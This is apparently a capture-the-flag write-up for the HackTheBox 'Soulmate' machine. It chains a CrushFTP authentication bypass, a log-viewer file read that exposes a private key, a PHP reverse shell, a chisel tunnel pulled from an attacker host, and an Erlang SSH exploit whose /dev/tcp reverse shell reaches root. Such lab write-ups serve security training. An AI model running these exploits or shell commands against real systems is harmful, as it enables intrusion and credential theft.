Skip to content
HackIndex logo

HackIndex

Soulmate Writeup - HackTheBox

Easy Linux

Last updated May 10, 2026 4 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Soulmate - Find Your Perfect Match

Add soulmate.htb to /etc/hosts. Port 80 is a dating web app backed by PHP.

Virtual Host Enumeration

┌──(kali㉿kali)-[~]
└─$ gobuster vhost -u soulmate.htb -w /usr/share/wordlists/dirb/big.txt --append-domain --xs 400,301 -t 50
ftp.soulmate.htb   Status: 302 [--> /WebInterface/login.html]

Add ftp.soulmate.htb to /etc/hosts. The redirect lands on a CrushFTP login page. The JavaScript bundle path /WebInterface/new-ui/assets/app/components/template2.js?v=11.W.657-2025_03_08_07_52 confirms CrushFTP version 11.

Initial Access

CVE-2025-54309 — CrushFTP Race Condition Authentication Bypass

CVE-2025-54309 is a race condition in CrushFTP's session handling. By sending two simultaneous requests — one with an AS2-TO: \crushadmin header and one without — there is a timing window where the server briefly treats the unauthenticated session as admin. This allows unauthenticated access to admin API functions including user enumeration and user creation.

First, confirm the target is vulnerable and enumerate existing users:

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2025-54309.py http://ftp.soulmate.htb
[*] CRUSHFTP RACE CONDITION POC
[*] TARGET: http://ftp.soulmate.htb
[*] ATTACK: 5000 requests with new c2f every 50 requests
[*] NEW SESSION: c2f=o56w
[*] EXFILTRATED 5 USERS: ben, crushadmin, default, jenna, TempAccount
[*] VULNERABLE! RACE CONDITION POSSIBLE!

Five users confirmed. Use the user-creation variant to inject a new admin account:

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2025-54309-2.py http://ftp.soulmate.htb -u htbadmin -p HTBPassword123!
[+] SUCCESS! User 'htbadmin' created successfully!
[+] EXPLOITATION COMPLETE!
[+] Admin user created: htbadmin:HTBPassword123!

Log in at http://ftp.soulmate.htb/WebInterface/ with the newly created admin account.

LFI via CrushFTP Log Viewer

The CrushFTP admin panel exposes a log viewer endpoint that accepts a file parameter with no path restriction:

http://ftp.soulmate.htb/WebInterface/admin/log.html?file=/etc/passwd

This returns the container's /etc/passwd. More usefully, it exposes the CrushFTP SSH host key and the admin passfile:

http://ftp.soulmate.htb/WebInterface/admin/log.html?file=/app/CrushFTP11/ssh_host_rsa_key

Returns the RSA private key for the CrushFTP Erlang SSH service.

http://ftp.soulmate.htb/WebInterface/admin/log.html?file=/app/CrushFTP11/passfile
$CRUSHFTP_PASSFILE_PASSWORD

FTP Access and PHP Backdoor Upload

With admin access to the CrushFTP web interface, reset the passwords for ben and jenna to gain FTP access. Using ben's account, navigate the FTP filesystem to the web root directory mapped to http://soulmate.htb/. Upload a PHP reverse shell.

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Trigger the backdoor:

┌──(kali㉿kali)-[~]
└─$ curl http://soulmate.htb/backdoor3.php

Shell lands as www-data. Stabilise it:

user@host ~ $ python3 -c 'import pty;pty.spawn("/bin/bash")'

Credential Discovery in Web App Source

With filesystem access, read the web application config:

user@host ~ $ cat /var/www/html/config.php
$adminPassword = password_hash('$ADMIN_PASSWORD', PASSWORD_DEFAULT);
$adminInsert = $this->pdo->prepare("
    INSERT INTO users (username, password, is_admin, name)
    VALUES (?, ?, 1, 'Administrator')
");
$adminInsert->execute(['admin', $adminPassword]);

The hardcoded admin password for soulmate.htb works on the login page. The application's SQLite database at ../data/soulmate.db also contains the bcrypt hash for the admin account confirming the same credential.

SSH as ben

The create-user-with-ssh.sh script found in the FTP user directories reveals that SSH users authenticate via key pairs. The LFI already retrieved the CrushFTP container's SSH host key. Cross-referencing /etc/passwd from the PHP shell shows ben (UID 1000) is the only human user on the host system.

Check for ben's SSH key in his home directory via the PHP shell and connect:

┌──(kali㉿kali)-[~]
└─$ ssh -i ssh_key ben@$TARGET_IP

Privilege Escalation

Internal Service Discovery via Chisel

ss -tulnp from the shell reveals several internally bound ports:

user@host ~ $ ss -tulnp
127.0.0.1:2222    # Erlang SSH
127.0.0.1:8080
127.0.0.1:8443
127.0.0.1:9090

The host also has Docker bridge interfaces (172.17.0.1, 172.18.0.1, 172.19.0.1). Set up a SOCKS5 tunnel to reach internal services:

┌──(kali㉿kali)-[~]
└─$ # Attacker machine
┌──(kali㉿kali)-[~]
└─$ chisel server -p 8001 --socks5 --reverse
┌──(kali㉿kali)-[~]
└─$ # Target machine
┌──(kali㉿kali)-[~]
└─$ curl http://$ATTACKER_IP:8181/chisel -o chisel
┌──(kali㉿kali)-[~]
└─$ chmod +x chisel
┌──(kali㉿kali)-[~]
└─$ ./chisel client $ATTACKER_IP:8001 R:socks

Probe port 2222:

┌──(kali㉿kali)-[~]
└─$ nc 127.0.0.1 2222
SSH-2.0-Erlang/5.2.9

Port 2222 runs an Erlang SSH daemon, not OpenSSH.

CVE-2025-32433 — Erlang SSH Unauthenticated RCE

CVE-2025-32433 is a critical vulnerability in the Erlang/OTP SSH implementation. Erlang SSH allows sending channel messages before authentication completes, meaning an attacker can open a session channel and send an exec request containing arbitrary Erlang OS commands without any credentials.

┌──(kali㉿kali)-[~]
└─$ python3 cve-2025-32433.py 127.0.0.1 --shell --lhost $ATTACKER_IP --lport $ATTACKER_PORT -p 2222
[*] Connecting to target...
[+] Received banner: SSH-2.0-Erlang/5.2.9
[+] Running command: os:cmd("bash -c 'exec 5<>/dev/tcp/$ATTACKER_IP/$ATTACKER_PORT; cat <&5 | while read line; do $line 2>&5 >&5; done'").
[✓] Exploit sent. If vulnerable, command should execute.
[+] Reverse shell command sent. Check your listener.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [10.10.11.86] 42632
whoami
root

Root shell.

References